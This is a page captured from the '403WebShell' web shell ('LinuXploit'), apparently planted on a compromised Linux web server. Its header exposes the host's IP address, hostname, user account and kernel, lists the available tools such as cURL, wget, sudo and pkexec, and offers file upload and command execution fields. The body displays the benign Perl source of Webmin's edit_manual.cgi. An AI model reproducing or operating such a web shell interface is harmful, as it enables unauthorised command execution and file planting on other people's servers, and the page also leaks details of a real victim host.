Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/systemd/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/systemd/edit_manual.cgi
#!/usr/bin/perl
# Show a page for manually editing discovered systemd unit files.

use strict;
use warnings;

require './systemd-lib.pl'; ## no critic

our (%access, %in, %text);

ReadParse();
error_setup($text{'manual_edit_err'});

systemd_acl_bool('manual') ||
	systemd_acl_bool('manual_user') ||
	systemd_acl_error('pmanual');

# File choices are constrained to discovered system and local user unit files.
my @files = grep { systemd_can_manual($_) } list_manual_unit_files();
@files || error(manual_empty_message());
my %allowed = map { $_->{'file'}, $_ } @files;
my $info = $allowed{$in{'file'}} || $files[0];
my $file = $info->{'file'};
my $data = read_manual_unit_file($info);
defined($data) || error($text{'manual_eread'});
my $file_writable = manual_unit_file_writable($info);

ui_print_header(undef, $text{'manual_title'}, "");
my $desc = $info->{'scope'} eq 'user' ?
	text('manual_desc_user',
	     ui_tag('tt', html_escape($info->{'user'}))) :
	$text{'manual_desc'};
print ui_div($desc);

# Keep the selector separate so changing files does not submit edits.
print ui_form_start("edit_manual.cgi");
print ui_tag('b', html_escape($text{'manual_select'}));
print ui_select("file", $file,
	[ map { [ $_->{'file'}, manual_unit_file_label($_) ] } @files ]);
print " ", ui_submit($text{'manual_ok'});
print ui_form_end();

# The editor preserves raw unit text; validation is limited to the file path.
print ui_form_start("save_manual.cgi", "form-data");
print ui_hidden("file", $file);
print ui_table_start(undef, undef, 2);
print ui_table_row(undef, ui_textarea("data", $data, 35, 120, undef,
				      undef, $file_writable ? undef :
				      "readonly='readonly'"), 2);
print ui_table_end();
print ui_form_end($file_writable ? [ [ "save", $text{'save'} ] ] : undef);

ui_print_footer("index.cgi", $text{'index_return'});

# manual_unit_file_label(info)
# Returns the selector label for a manual-edit unit file.
sub manual_unit_file_label
{
my ($info) = @_;
return html_escape($info->{'file'});
}

# manual_empty_message()
# Returns an empty-state message for the current manual-edit ACL scope.
sub manual_empty_message
{
my $user = systemd_acl_default_user();
return text('manual_enone_user',
	    ui_tag('tt', html_escape($user)))
	if ($user && systemd_acl_bool('manual_user') &&
	    !systemd_acl_bool('manual'));
return $text{'manual_enone'};
}

Youez - 2016 - github.com/yon3zu
LinuXploit